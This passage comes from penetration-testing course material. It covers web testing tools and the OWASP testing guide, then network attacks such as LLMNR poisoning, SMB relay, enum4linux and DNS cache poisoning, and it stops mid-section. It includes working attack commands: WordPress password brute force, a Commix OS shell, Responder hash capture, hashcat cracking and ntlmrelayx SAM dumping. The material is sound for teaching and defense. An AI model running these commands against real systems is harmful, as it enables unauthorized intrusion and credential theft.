--dbs</p> <h1> <a name="all-tamper-scripts" href="#all-tamper-scripts" class="anchor"> </a> All tamper scripts: </h1> <p>ls /usr/share/sqlmap/tamper/<br> `<code></code></p> <p><strong>WPScan — WordPress Security Scanner:</strong></p> <p><code></code>`bash</p> <h1> <a name="wordpress-vulnerability-scanning" href="#wordpress-vulnerability-scanning" class="anchor"> </a> WordPress vulnerability scanning: </h1> <p>wpscan --url <a href="https://target.com">https://target.com</a></p> <h1> <a name="with-api-token-for-vulnerability-database" href="#with-api-token-for-vulnerability-database" class="anchor"> </a> With API token for vulnerability database: </h1> <p>wpscan --url <a href="https://target.com">https://target.com</a> --api-token YOUR_TOKEN</p> <h1> <a name="enumerate-users" href="#enumerate-users" class="anchor"> </a> Enumerate users: </h1> <p>wpscan --url <a href="https://target.com">https://target.com</a> -e u</p> <h1> <a name="enumerate-plugins" href="#enumerate-plugins" class="anchor"> </a> Enumerate plugins: </h1> <p>wpscan --url <a href="https://target.com">https://target.com</a> -e p --plugins-detection aggressive</p> <h1> <a name="password-attack-on-discovered-users" href="#password-attack-on-discovered-users" class="anchor"> </a> Password attack on discovered users: </h1> <p>wpscan --url <a href="https://target.com">https://target.com</a> -U admin -P /usr/share/wordlists/rockyou.txt</p> <h1> <a name="full-enumeration" href="#full-enumeration" class="anchor"> </a> Full enumeration: </h1> <p>wpscan --url <a href="https://target.com">https://target.com</a> -e ap,at,cb,dbe,u --api-token TOKEN<br> `<code></code></p> <p><strong>XSStrike — Intelligent XSS Testing:</strong></p> <p><code></code>`bash<br> git clone <a href="https://github.com/s0md3v/XSStrike">https://github.com/s0md3v/XSStrike</a><br> cd XSStrike && pip3 install -r requirements.txt</p> <h1> <a name="crawl-and-test-entire-site" href="#crawl-and-test-entire-site" class="anchor"> </a> Crawl and test entire site: </h1> <p>python3 xsstrike.py -u <a href="https://target.com">https://target.com</a> --crawl</p> <h1> <a name="test-specific-parameter" href="#test-specific-parameter" class="anchor"> </a> Test specific parameter: </h1> <p>python3 xsstrike.py -u "<a href="https://target.com/search?q=test">https://target.com/search?q=test</a>"</p> <h1> <a name="post-request-testing" href="#post-request-testing" class="anchor"> </a> POST request testing: </h1> <p>python3 xsstrike.py -u <a href="https://target.com/login">https://target.com/login</a> \<br> --data "username=test&password=test"</p> <h1> <a name="blind-xss-mode" href="#blind-xss-mode" class="anchor"> </a> Blind XSS mode: </h1> <p>python3 xsstrike.py -u "<a href="https://target.com/feedback">https://target.com/feedback</a>" \<br> --data "message=test" --blind<br> `<code></code></p> <p><strong>Commix — Command Injection Testing:</strong></p> <p><code></code>`bash<br> git clone <a href="https://github.com/commixproject/commix">https://github.com/commixproject/commix</a><br> cd commix && python3 commix.py</p> <h1> <a name="test-url-parameter" href="#test-url-parameter" class="anchor"> </a> Test URL parameter: </h1> <p>python3 commix.py --url="<a href="https://target.com/ping?host=127.0.0.1">https://target.com/ping?host=127.0.0.1</a>"</p> <h1> <a name="test-post-parameter" href="#test-post-parameter" class="anchor"> </a> Test POST parameter: </h1> <p>python3 commix.py --url="<a href="https://target.com/ping">https://target.com/ping</a>" \<br> --data="host=127.0.0.1"</p> <h1> <a name="get-reverse-shell" href="#get-reverse-shell" class="anchor"> </a> Get reverse shell: </h1> <p>python3 commix.py --url="<a href="https://target.com/ping?host=127.0.0.1">https://target.com/ping?host=127.0.0.1</a>" \<br> --os-shell<br> `<code></code></p> <hr> <h3> <a name="61210-the-owasp-web-security-testing-guide" href="#61210-the-owasp-web-security-testing-guide" class="anchor"> </a> 6.12.10 The OWASP Web Security Testing Guide </h3> <h4> <a name="what-the-wstg-is-and-why-it-is-the-professional-standard" href="#what-the-wstg-is-and-why-it-is-the-professional-standard" class="anchor"> </a> What the WSTG Is and Why It Is the Professional Standard </h4> <p>The OWASP Web Security Testing Guide (WSTG) is the most comprehensive, peer-reviewed, and widely referenced standard methodology for web application security testing. It provides detailed testing procedures for every category of web vulnerability, organized into a structured framework that ensures comprehensive coverage of the attack surface.</p> <p>Available at: <a href="https://owasp.org/www-project-web-security-testing-guide/">https://owasp.org/www-project-web-security-testing-guide/</a><br> Latest version: WSTG v4.2 (as of 2026)</p> <p>The WSTG organizes testing into twelve categories:</p> <table><thead> <tr> <th>Category Code</th> <th>Category Name</th> <th>Coverage</th> </tr> </thead><tbody> <tr> <td>WSTG-INFO</td> <td>Information Gathering</td> <td>Recon, fingerprinting, application mapping</td> </tr> <tr> <td>WSTG-CONF</td> <td>Configuration Testing</td> <td>Server config, network/infrastructure, HTTP methods</td> </tr> <tr> <td>WSTG-IDNT</td> <td>Identity Management</td> <td>Account enumeration, account policies</td> </tr> <tr> <td>WSTG-ATHN</td> <td>Authentication Testing</td> <td>Password policies, default credentials, lockout</td> </tr> <tr> <td>WSTG-AUTHZ</td> <td>Authorization Testing</td> <td>Path traversal, privilege escalation, IDOR</td> </tr> <tr> <td>WSTG-SESS</td> <td>Session Management Testing</td> <td>Cookie attributes, session fixation, CSRF</td> </tr> <tr> <td>WSTG-INPV</td> <td>Input Validation Testing</td> <td>SQL injection, XSS, command injection, LFI/RFI</td> </tr> <tr> <td>WSTG-ERRH</td> <td>Error Handling</td> <td>Error codes, stack traces</td> </tr> <tr> <td>WSTG-CRYP</td> <td>Cryptography Testing</td> <td>TLS, algorithm strength, key management</td> </tr> <tr> <td>WSTG-BUSL</td> <td>Business Logic Testing</td> <td>Workflow bypass, race conditions</td> </tr> <tr> <td>WSTG-CLNT</td> <td>Client-Side Testing</td> <td>DOM XSS, clickjacking, CORS</td> </tr> <tr> <td>WSTG-APIT</td> <td>API Testing</td> <td>REST, GraphQL, SOAP</td> </tr> </tbody></table> <p><strong>Using the WSTG in practice:</strong></p> <p>For each test case, the WSTG provides:</p> <ul> <li>Objective: what the test aims to detect</li> <li>How to test: step-by-step methodology</li> <li>Tools: specific tools and commands</li> <li>References: relevant CWEs, CVEs, and academic sources</li> <li>Remediation: how to fix the vulnerability</li> </ul> <p>Professional penetration testers use the WSTG as a checklist to ensure no coverage area is missed. At the start of a web application engagement, work through each WSTG category systematically. The WSTG test IDs (e.g., WSTG-INPV-01 for SQL Injection) provide a standard reference that can be cited in reports.</p> <p><strong>The OWASP Testing Framework:</strong></p> <p>The WSTG includes a full engagement framework for web application testing:</p> <ul> <li>Phase 1: Passive reconnaissance (before any interaction with the target)</li> <li>Phase 2: Active reconnaissance (spidering, scanning, active fingerprinting)</li> <li>Phase 3: Vulnerability testing (systematic testing through all WSTG categories)</li> <li>Phase 4: Exploitation (confirming and demonstrating findings)</li> <li>Phase 5: Post-exploitation (understanding impact)</li> <li>Phase 6: Reporting</li> </ul> <hr> <h2> <a name="613-module-6-summary-the-complete-web-application-security-picture" href="#613-module-6-summary-the-complete-web-application-security-picture" class="anchor"> </a> 6.13 Module 6 Summary — The Complete Web Application Security Picture </h2> <h3> <a name="what-module-6-built" href="#what-module-6-built" class="anchor"> </a> What Module 6 Built </h3> <p>Module 6 has constructed a comprehensive, professional understanding of web application security — from the foundational HTTP protocol through the most sophisticated attack chains. This summary consolidates the key insight from each section and shows how they connect into a unified security picture.</p> <h4> <a name="the-foundation-protocol-understanding-section-61" href="#the-foundation-protocol-understanding-section-61" class="anchor"> </a> The Foundation — Protocol Understanding (Section 6.1) </h4> <p>You cannot attack what you do not understand. Section 6.1 established that HTTP is the universal substrate of web attacks — every web vulnerability is ultimately an HTTP vulnerability. Understanding the request-response cycle at the byte level, knowing what every header reveals and conceals, understanding how the browser's handling of cookies creates both functionality and vulnerability, and knowing the precise boundary of what HTTPS protects (the channel) versus what it does not protect (the application) — these form the intellectual foundation upon which every subsequent attack rests.</p> <p>The OWASP Top 10:2021 provided the attack taxonomy: Broken Access Control (A01), Cryptographic Failures (A02), Injection (A03), Insecure Design (A04), Security Misconfiguration (A05), Vulnerable and Outdated Components (A06), Authentication Failures (A07), Software and Data Integrity Failures (A08), Logging and Monitoring Failures (A09), and SSRF (A10).</p> <h4> <a name="the-lab-environment-section-62" href="#the-lab-environment-section-62" class="anchor"> </a> The Lab Environment (Section 6.2) </h4> <p>Professional penetration testing skills are built through practice, not reading alone. A local lab — Kali Linux with DVWA, Metasploitable, and Docker-based vulnerable applications — provides the safe, legal environment where every technique in this module can be practiced repeatedly until it becomes instinct rather than procedure.</p> <h4> <a name="business-logic-the-category-automation-cannot-find-section-63" href="#business-logic-the-category-automation-cannot-find-section-63" class="anchor"> </a> Business Logic — The Category Automation Cannot Find (Section 6.3) </h4> <p>Business logic flaws revealed the most fundamental principle in web application security: <strong>automated tools cannot replace human understanding</strong>. A scanner sees requests and responses. Only a human who understands what the application is supposed to do can recognize when it is doing something it should not — when a discount persists after a cart is modified, when a workflow step can be skipped, when simultaneous requests exploit a race condition, when a quantity of -1 makes logical nonsense that the application processes anyway.</p> <p>The professional approach is the adversarial user perspective: how can legitimate features be used in illegitimate ways?</p> <h4> <a name="injection-the-root-cause-section-64" href="#injection-the-root-cause-section-64" class="anchor"> </a> Injection — The Root Cause (Section 6.4) </h4> <p>Injection vulnerabilities — SQL injection, command injection, LDAP injection — share one root cause: failure to separate code from data. Every injection attack is the same conceptual breach: user data enters a context where it is interpreted as executable code. The fix is always the same: parameterized queries and prepared statements for SQL; subprocess lists (not shell=True) for OS commands; proper LDAP escaping for directory queries.</p> <p>SQL injection's impact scales from data exposure through privilege escalation through file system access through full OS compromise. The attack types — error-based, UNION-based, boolean blind, time-based blind, out-of-band — represent a spectrum from most visible to least visible, matched by escalating detection difficulty.</p> <h4> <a name="authentication-the-identity-layer-section-65" href="#authentication-the-identity-layer-section-65" class="anchor"> </a> Authentication — The Identity Layer (Section 6.5) </h4> <p>Authentication attacks revealed that the session token is the identity. Stealing a session token steals the authenticated identity — bypassing every authentication control that was used to create it. In 2024, the dominant attack pattern is AitM (Adversary-in-the-Middle) phishing that captures session tokens after MFA completion, because the session proves authentication more persistently than any credential.</p> <p>Kerberos vulnerabilities in Active Directory environments expose the fundamental architecture of Windows domain authentication to exploitation: AS-REP Roasting requires only usernames; Kerberoasting requires only domain user credentials; Golden Tickets require only the krbtgt hash — and each represents a different depth of compromise.</p> <h4> <a name="authorization-the-permissions-layer-section-66" href="#authorization-the-permissions-layer-section-66" class="anchor"> </a> Authorization — The Permissions Layer (Section 6.6) </h4> <p>Authorization failures are the most prevalent web vulnerability category (94% of tested applications). The core failure is always the same: the server validates that a user is authenticated (correct role, valid session) but does not validate that this specific user is authorized to access this specific resource.</p> <p>IDOR — Insecure Direct Object Reference — is the most impactful manifestation: changing an ID in a URL from your own to another user's reveals their data without any authentication bypass required. Horizontal privilege escalation accesses other users' data. Vertical privilege escalation accesses higher-privilege functionality. HTTP method manipulation, header injection, and CSP bypass all represent different attack surfaces for the same authorization failure.</p> <h4> <a name="xss-javascript-in-the-wrong-hands-section-67" href="#xss-javascript-in-the-wrong-hands-section-67" class="anchor"> </a> XSS — JavaScript in the Wrong Hands (Section 6.7) </h4> <p>Cross-Site Scripting is not about alert boxes. It is about JavaScript execution in a victim's browser — with access to their session, their data, their credentials, and the ability to make authenticated requests on their behalf. Reflected XSS requires delivery. Stored XSS is persistent and scales. DOM XSS lives entirely in the browser, invisible to server-side detection.</p> <p>XSS evasion techniques — encoding, alternative tags, template literals, CSP bypass through unsafe-inline and whitelisted JSONP — demonstrated that every blacklist-based defense is bypassable. The only reliable XSS defense is context-aware output encoding and a strict CSP with nonces.</p> <h4> <a name="csrf-and-ssrf-forged-requests-section-68" href="#csrf-and-ssrf-forged-requests-section-68" class="anchor"> </a> CSRF and SSRF — Forged Requests (Section 6.8) </h4> <p>CSRF exploits the browser's automatic cookie attachment to forge authenticated requests from a third-party site. The victim's own browser becomes the attack vector. CSRF tokens and SameSite cookies are the primary defenses.</p> <p>SSRF makes the server itself the attack vector — instructing it to make requests to internal resources the attacker cannot reach directly. Cloud metadata services (AWS IMDSv1, Azure IMDS, GCP metadata) are the most impactful SSRF targets: a single successful query returns cloud credentials with broad access. The Capital One breach demonstrated that SSRF in a security product can expose over 100 million records.</p> <h4> <a name="clickjacking-visual-deception-section-69" href="#clickjacking-visual-deception-section-69" class="anchor"> </a> Clickjacking — Visual Deception (Section 6.9) </h4> <p>Clickjacking separates what the user sees from what their clicks accomplish. The X-Frame-Options and CSP <code>frame-ancestors</code> headers are the defenses. Their absence allows any state-changing action triggerable by a single click to be performed through invisible iframe overlay.</p> <h4> <a name="security-misconfigurations-section-610" href="#security-misconfigurations-section-610" class="anchor"> </a> Security Misconfigurations (Section 6.10) </h4> <p>Directory traversal demonstrated that path-based file access without proper restriction allows reading any readable file on the server — escalating through log poisoning to Remote Code Execution. Cookie manipulation showed that the cookie layer's security depends entirely on the security flags applied (<code>HttpOnly</code>, <code>Secure</code>, <code>SameSite</code>) and on the server not trusting user-submitted values that determine identity or privilege.</p> <h4> <a name="file-inclusion-the-execution-chain-section-611" href="#file-inclusion-the-execution-chain-section-611" class="anchor"> </a> File Inclusion — The Execution Chain (Section 6.11) </h4> <p>File inclusion vulnerabilities transform what seems like a file read into a code execution opportunity. Local File Inclusion chains through log poisoning, /proc/self/environ, PHP wrappers, and session file inclusion to achieve RCE. Remote File Inclusion is more direct — when <code>allow_url_include</code> is enabled, hosting a PHP file on your own server and including it via RFI achieves immediate code execution.</p> <p>The php://filter wrapper deserves special mention: it enables reading the source code of any PHP file without executing it — turning an LFI vulnerability into a complete source code disclosure that reveals database credentials, business logic, and hidden vulnerabilities.</p> <h4> <a name="insecure-code-practices-the-human-factor-section-612" href="#insecure-code-practices-the-human-factor-section-612" class="anchor"> </a> Insecure Code Practices — The Human Factor (Section 6.12) </h4> <p>The final section revealed that many of the most impactful vulnerabilities in web applications stem from engineering habits rather than architectural decisions: comments containing credentials, error messages revealing infrastructure details, API keys hard-coded in JavaScript, race conditions in concurrent access to shared resources, APIs that assume only official clients will call them, hidden form fields the server trusts, and missing cryptographic verification of software integrity.</p> <p>These findings require minimal technical exploitation skill — they require observation, pattern recognition, and the habit of looking at everything the application reveals about itself. The attacker who reads source code, triggers intentional errors, examines JavaScript bundle contents, and checks HTTP response headers thoroughly will consistently find critical vulnerabilities that more technically sophisticated testers miss.</p> <h3> <a name="the-unified-view-what-every-web-application-assessment-should-cover" href="#the-unified-view-what-every-web-application-assessment-should-cover" class="anchor"> </a> The Unified View — What Every Web Application Assessment Should Cover </h3> <p>A complete web application security assessment, after Module 6, follows this structure:</p> <p><strong>Passive Analysis:</strong> Examine HTTP responses for security headers, technology disclosure, error handling quality, comment content, cookie flags. Analyze JavaScript bundles for endpoints, API keys, and architectural information.</p> <p><strong>Active Discovery:</strong> Enumerate endpoints via directory brute force, API documentation, and JavaScript analysis. Map every input parameter. Build a complete application flow model.</p> <p><strong>Authentication Testing:</strong> Test login brute force and lockout. Test password reset flows. Analyze session token entropy and security flags. Test session invalidation. Test MFA bypass paths. Check for default credentials.</p> <p><strong>Authorization Testing:</strong> Build a privilege matrix. Test IDOR by enumerating object identifiers. Test vertical privilege escalation by accessing admin endpoints as regular users. Test every HTTP method on every endpoint.</p> <p><strong>Injection Testing:</strong> Test every input parameter for SQL injection (error-based, then blind). Test command injection on functionality suggesting system calls. Test LFI/RFI on file-handling functionality. Check for LDAP injection on directory-backed applications.</p> <p><strong>Client-Side Testing:</strong> Test all reflection points for XSS in correct context. Test multi-step workflows for CSRF vulnerabilities. Test pages for Clickjacking. Analyze JavaScript for DOM XSS sinks.</p> <p><strong>Business Logic Testing:</strong> Map critical workflows. Test step skipping and repetition. Test simultaneous requests on rate-limited or single-use functionality. Test all numeric inputs with boundary values.</p> <p><strong>Infrastructure Testing:</strong> Test for directory traversal. Check for exposed API documentation. Test SSRF on URL-accepting functionality. Validate TLS configuration. Check for exposed admin panels and debug endpoints.</p> <p><strong>This is the complete professional web application security assessment.</strong> Every finding in every category has a direct business impact — from credential theft enabling account takeover, to database compromise enabling mass data exfiltration, to RCE enabling complete infrastructure compromise. Module 6 provided not just the technical knowledge to execute these tests but the conceptual framework to understand why vulnerabilities exist, why defenses succeed or fail, and how to communicate findings in terms of business risk rather than technical details.</p> <hr> <p><em>═══════════════════════════════════════════════════════════</em><br> <em>MODULE 6 — EXPLOITING APPLICATION-BASED VULNERABILITIES</em><br> <em>COMPLETE</em><br> <em>═══════════════════════════════════════════════════════════</em></p>

MODULE 5: Exploiting Network-Based Vulnerabilities

Rençber AKMAN — Wed, 12 Aug 2026 12:40:19 +0000

5.1.1 Overview
5.1.2 Windows Name Resolution and SMB Attacks
5.1.3 Practice - Windows Name Resolution and SMB Attacks
5.1.4 Lab - Scanning for SMB Vulnerabilities with enum4linux
5.1.5 DNS Cache Poisoning
5.1.6 Practice - DNS Cache Poisoning
5.1.7 SNMP Exploits
5.1.8 SMTP Exploits
5.1.9 Practice - SMTP Commands
5.1.10 FTP Exploits
5.1.11 Pass-the-Hash Attacks
5.1.12 Kerberos and LDAP-Based Attacks
5.1.13 Kerberoasting
5.1.14 On-Path Attacks
5.1.15 Practice - Kerberos, LDAP, and On-Path Attacks
5.1.16 Lab - On-Path Attacks with Ettercap
5.1.17 Route Manipulation Attacks
5.1.18 DoS and DDoS Attacks
5.1.19 Practice - DoS and DDoS Attacks
5.1.20 Network Access Control (NAC) Bypass
5.1.21 VLAN Hopping
5.1.22 Practice - NAC Bypass and VLAN Hopping
5.1.23 DHCP Starvation Attacks and Rogue DHCP Servers
5.1.24 Practice - DHCP Starvation and Rogue DHCP Servers

5.1.1 Overview

Network-based vulnerability exploitation sits at the intersection of protocol knowledge and attacker creativity. Every attack covered in this section exploits a design decision made by engineers who assumed their protocols would operate in a trusted environment. Understanding this fundamental assumption — that most foundational network protocols were designed for reliability and interoperability, not security — is the lens through which every attack in this module becomes logical rather than magical.

The attacks covered in Module 5.1 operate primarily at Layers 2, 3, 4, and 7 of the OSI model. They target protocols including SMB, DNS, SNMP, SMTP, FTP, Kerberos, LDAP, ARP, BGP, and DHCP. What unites them is not their technical similarity but their philosophical foundation: each one finds the gap between what a protocol was designed to do and what an attacker can make it do instead.

A critical professional mindset to develop before engaging with this content: every technique described here is a dual-use capability. The same Responder tool that a penetration tester uses to capture NTLMv2 hashes in an authorized engagement is used by ransomware operators to move laterally through corporate networks. Understanding the attack deeply is the prerequisite for defending against it effectively. You cannot build detection rules for behavior you do not understand.

The Attack Surface of a Corporate Network

When a penetration tester gains their first foothold inside a corporate network — through phishing, a web application vulnerability, VPN credential theft, or physical access — they are typically positioned as a standard user on one workstation in one network segment. From that position, the attacks in this module are the tools used to expand that foothold into domain-wide compromise. This process is called lateral movement, and the attacks in 5.1 are its primary mechanisms.

The typical attack chain inside a corporate network looks like this: initial access on one endpoint leads to local credential harvesting, which enables lateral movement to additional systems, which exposes more credentials, which eventually reaches a domain controller, at which point the entire Active Directory environment is considered compromised. Module 5.1 covers the network-level techniques that make this chain possible.

5.1.2 Windows Name Resolution and SMB Attacks

Understanding Windows Name Resolution

Before understanding why Windows name resolution attacks are so powerful, you need to understand how Windows resolves names to IP addresses — because it does not simply use DNS.

When a Windows machine needs to resolve a hostname to an IP address, it follows a specific resolution order. First it checks its local hosts file at C:\Windows\System32\drivers\etc\hosts. If not found there, it queries DNS. If DNS fails or returns no result, Windows falls back to a legacy protocol called LLMNR (Link-Local Multicast Name Resolution). If LLMNR also fails, Windows tries NBT-NS (NetBIOS Name Service).

This fallback behavior is the attack surface. When a Windows machine fails to resolve a name via DNS and broadcasts an LLMNR or NBT-NS query asking "does anyone know the IP for this hostname?", any machine on the same local network segment can respond. There is no authentication, no verification, no challenge. If an attacker's machine responds first with "yes, I'm that host, here's my IP," the victim will believe the response and attempt to connect to the attacker's machine.

LLMNR Poisoning — The Attack Mechanism

LLMNR (Link-Local Multicast Name Resolution) operates on UDP port 5355 and uses multicast addressing (224.0.0.252 for IPv4, FF02::1:3 for IPv6). When a Windows host cannot resolve a hostname via DNS, it broadcasts an LLMNR query to the entire local network segment.

The attack flow works as follows. A user on the victim machine attempts to access a network resource — perhaps they mistype a UNC path like \FileServr\share (with a typo) instead of \FileServer\share. DNS cannot resolve "FileServr" because it does not exist. Windows sends an LLMNR multicast query asking all hosts on the local segment: "Who is FileServr?" The attacker's machine, running a tool like Responder, receives this multicast query and immediately responds: "I am FileServr." The victim's machine accepts this response and initiates a connection to the attacker. During this connection attempt, the victim's machine automatically sends Windows authentication credentials — specifically an NTLMv2 challenge-response hash — to authenticate to what it believes is the legitimate file server.

The attacker does not receive the plaintext password. They receive an NTLMv2 hash, which is a cryptographic response to a challenge. This hash can then be used in two ways: it can be cracked offline using tools like Hashcat or John the Ripper to recover the original plaintext password, or it can be used directly in a Pass-the-Hash attack (covered in 5.1.11) without ever cracking it.

NBT-NS Poisoning

NBT-NS (NetBIOS Name Service) is an older Microsoft name resolution protocol operating on UDP port 137. It follows the same fundamental pattern as LLMNR — when a hostname cannot be resolved, Windows broadcasts a NBT-NS query. The attack mechanism is identical: Responder listens for these broadcasts and responds with poisoned answers, capturing NTLMv2 hashes from victims who attempt to authenticate.

NBT-NS is older and being phased out in modern Windows environments, but it remains active by default on most Windows deployments for backwards compatibility. This is a recurring theme in Windows security: legacy protocols remain enabled far beyond their useful lifetime because disabling them risks breaking something somewhere in the environment.

SMB (Server Message Block) — The Protocol

SMB is Microsoft's file sharing and network resource protocol. It enables Windows machines to share files, printers, and other resources across a network. SMB operates on TCP port 445 in modern implementations (and TCP port 139 in legacy NBT-over-TCP mode).

SMB has had a troubled security history. SMBv1, the original version dating from the 1980s, had fundamental design weaknesses that culminated in the EternalBlue vulnerability (CVE-2017-0144). SMBv2 and SMBv3 introduced significant security improvements including mandatory signing options and encryption, but the legacy of SMBv1 — still enabled on countless systems worldwide — continues to provide attack surface.

SMB Relay Attacks

SMB relay is a technique where instead of cracking the captured NTLMv2 hash, the attacker relays it in real time to authenticate to another system. When an attacker captures an NTLMv2 authentication attempt (via LLMNR/NBT-NS poisoning), rather than saving the hash for offline cracking, they immediately forward that authentication to another target machine in the network. If the authenticating user has credentials valid on that target machine, the attacker gains access.

This is particularly powerful because it bypasses the need to crack passwords entirely. Even strong, complex passwords are vulnerable to relay attacks because the attacker never needs to know the actual password — they just forward the authentication challenge and response to another system that accepts it.

The critical requirement for SMB relay to work is that SMB signing must be disabled or not required on the target. SMB signing is a security feature that cryptographically signs SMB communications, preventing an attacker from relaying modified authentication attempts. In many environments, SMB signing is not enforced on workstations even when it is enabled on servers. Nmap can identify systems where SMB signing is not required: nmap --script smb2-security-mode -p 445 <target>.

Responder — The Primary Tool

Responder is a Python-based tool included in Kali Linux that simultaneously poisons LLMNR, NBT-NS, and MDNS queries while running fake servers (SMB, HTTP, FTP, LDAP) to capture authentication credentials. Running responder -I eth0 -rdwv starts Responder on interface eth0 with rogue DHCP, DNS, WPAD, and verbose output enabled.

Captured hashes are saved to /usr/share/responder/logs/ and can be cracked with hashcat -m 5600 hash.txt wordlist.txt where mode 5600 targets NTLMv2 hashes.

Defensive Countermeasures

Disabling LLMNR via Group Policy (Computer Configuration → Administrative Templates → Network → DNS Client → Turn off multicast name resolution) eliminates the primary attack vector. Disabling NBT-NS on all network adapters removes the secondary vector. Enabling SMB signing across the entire environment prevents relay attacks even when hashes are captured. Network segmentation ensures that a compromised endpoint in one VLAN cannot send LLMNR queries that reach endpoints in other VLANs.

5.1.3 Practice — Windows Name Resolution and SMB Attacks

Lab Environment Setup

Practicing LLMNR/NBT-NS poisoning requires a controlled lab environment with at least two machines: an attacker (Kali Linux) and a victim (Windows). Both must be on the same network segment with no intervening router, as LLMNR and NBT-NS use multicast/broadcast addressing that does not cross router boundaries.

Recommended lab setup: Kali Linux VM on Host-Only or Internal Network adapter, Windows 10 VM on the same Host-Only or Internal Network adapter. This ensures both are on the same segment without any internet connectivity (important for safety in a lab — you do not want to be running Responder on a network segment with real users).

Step-by-Step Attack Walkthrough

On the Kali machine, start Responder: sudo responder -I eth0 -rdwv. Responder will display its startup banner showing which servers and poisoning methods are active. On the Windows victim machine, open File Explorer and attempt to access a non-existent UNC path: \\NonExistentServer\share. Windows will fail DNS resolution and fall back to LLMNR. Responder on Kali will capture the authentication attempt and display the NTLMv2 hash in the terminal output.

The captured hash looks like: [SMB] NTLMv2 Hash : Administrator::WORKGROUP:1122334455667788:.... Copy this hash to a file and attempt offline cracking: hashcat -m 5600 captured.txt /usr/share/wordlists/rockyou.txt.

Verifying SMB Signing Status

Before attempting relay attacks, identify which systems do not require SMB signing: nmap --script smb2-security-mode.nse -p 445 <network_range>. Systems showing "Message signing enabled but not required" are vulnerable to relay attacks.

For relay attacks, use ntlmrelayx from Impacket: python3 ntlmrelayx.py -tf targets.txt -smb2support. When a victim authenticates via LLMNR poisoning, ntlmrelayx automatically relays the credentials to all targets in targets.txt, dumping SAM hashes from any system where the credentials are valid.

5.1.4 Lab — Scanning for SMB Vulnerabilities with enum4linux

What is enum4linux?

enum4linux is a Linux tool for enumerating information from Windows and Samba systems using SMB. It is essentially a wrapper around multiple Samba tools (smbclient, rpcclient, net, nmblookup) that automates the process of extracting as much information as possible from an SMB target.

What enum4linux can reveal from a target system is remarkable in scope: operating system version and build number, domain or workgroup membership, list of all local users and their RIDs (Relative Identifiers), list of all local groups and their members, list of all network shares including hidden shares, password policy details (minimum length, complexity requirements, lockout threshold and duration), printer information, and domain SID (Security Identifier).

This information is invaluable for attack planning. Knowing the password policy tells an attacker whether brute-force or password spraying is viable. Knowing all usernames provides the target list for credential attacks. Knowing share names and permissions reveals what data is accessible. All of this is gathered without exploiting any vulnerability — it relies on legitimate SMB functionality that Windows exposes for administrative purposes.

Running enum4linux

Basic usage: enum4linux -a <target_ip> runs all enumeration checks. The -a flag is a comprehensive mode covering users, shares, groups, password policy, OS information, and domain information simultaneously.

Individual options for targeted enumeration include -U for user list, -S for share list, -P for password policy, -G for group list, -o for OS information, and -i for printer information.

A full enum4linux run against a Windows target with null session access (anonymous authentication) produces extensive output. In older Windows environments (pre-Windows 2008 with default hardening), null sessions allowed complete enumeration without any credentials. Modern Windows environments restrict anonymous access by default, but many enterprise environments still have legacy systems or misconfigured Group Policies that allow it.

Interpreting enum4linux Output

The most valuable sections of enum4linux output are the user list, which provides usernames for subsequent password attacks; the password policy, which determines attack strategy; and the share list, which reveals accessible network resources.

A password policy showing minimum length of 0, no complexity requirements, and no lockout threshold indicates the environment is vulnerable to brute-force attacks. A policy showing lockout after 5 attempts indicates that password spraying (trying one password against many accounts) is safer than traditional brute-force.

SMB Vulnerability Scanning with Nmap NSE Scripts

Nmap's SMB-related NSE scripts provide additional vulnerability identification beyond enum4linux. Key scripts include smb-vuln-ms17-010 (checks for EternalBlue), smb-vuln-ms08-067 (checks for the MS08-067 vulnerability exploited by Conficker), smb-enum-shares (enumerates accessible shares), smb-enum-users (enumerates users), and smb-os-discovery (identifies OS version via SMB).

Running nmap --script smb-vuln-ms17-010 -p 445 <target> against a Windows 7 or Server 2008 R2 system without the MS17-010 patch will return a finding indicating the system is vulnerable to EternalBlue — the vulnerability exploited by WannaCry and NotPetya.

5.1.5 DNS Cache Poisoning

How DNS Works — The Foundation for Understanding the Attack

DNS (Domain Name System) is the distributed naming system that translates human-readable domain names into IP addresses. The system is hierarchical: when your computer needs to resolve google.com, it asks your configured DNS resolver (usually your ISP or organization's DNS server), which in turn queries root nameservers, then TLD nameservers, then the authoritative nameserver for google.com. The response travels back through this chain to your resolver, which caches the result for the duration specified by the record's TTL (Time to Live) value.

This caching is the attack surface for DNS cache poisoning. A DNS resolver caches responses to avoid querying the full hierarchy every time. If an attacker can inject a fraudulent response into this cache, every user of that resolver will receive the poisoned answer for as long as the TTL lasts — potentially hours or days.

The Kaminsky Attack — Why DNS Cache Poisoning Was a Critical Vulnerability

In 2008, security researcher Dan Kaminsky disclosed a fundamental flaw in DNS that made cache poisoning dramatically easier than previously understood. Before the Kaminsky disclosure, poisoning a DNS cache required either being positioned to intercept DNS traffic (a man-in-the-middle position) or winning a "birthday attack" against the 16-bit transaction ID — a 1-in-65536 chance per query.

Kaminsky's insight was that an attacker could force a resolver to make thousands of DNS queries for random subdomains (like random1.example.com, random2.example.com, etc.) and simultaneously send thousands of forged responses guessing the transaction ID. Because the resolver had to look up each random subdomain with the authoritative nameserver, the attacker could flood it with forged "authoritative" responses containing not just the fake answer for the random subdomain but also a poisoned NS (nameserver) record for the entire domain. When the attacker's guess matched the transaction ID, the poisoned NS record entered the cache, redirecting all subsequent queries for the entire domain to the attacker's controlled nameserver.

The fix, rapidly deployed across the internet, was source port randomization — using random source UDP ports for DNS queries in addition to random transaction IDs, expanding the search space from 65,536 to approximately 65,536 × 65,536 = over 4 billion combinations. This made blind poisoning attacks impractical but not theoretically impossible.

Modern DNS Cache Poisoning Techniques

While the Kaminsky attack style has been largely mitigated, DNS poisoning remains relevant in several contexts.

On-path poisoning requires a man-in-the-middle position — the attacker intercepts DNS queries between a client and its resolver and injects forged responses. This is practically achieved through ARP poisoning (covered in 5.1.14) to create the MITM position.

Rogue DNS server deployment involves placing a malicious DNS server on the network that responds to DNS queries before the legitimate server. This is achieved through rogue DHCP servers (covered in 5.1.23) that distribute the attacker's server as the DNS resolver.

BGP hijacking (covered in 5.1.17) at the routing level can redirect DNS traffic to attacker-controlled infrastructure at a global scale.

DNSSEC and Its Limitations

DNSSEC (DNS Security Extensions) addresses cache poisoning by adding cryptographic signatures to DNS records. A DNSSEC-validating resolver verifies these signatures before accepting responses, making forged responses detectable. However, DNSSEC deployment remains incomplete across the internet, and many organizations' internal DNS infrastructure does not use DNSSEC at all. An attacker on an internal network targeting internal DNS servers is rarely constrained by DNSSEC.

Practical Impact of DNS Poisoning

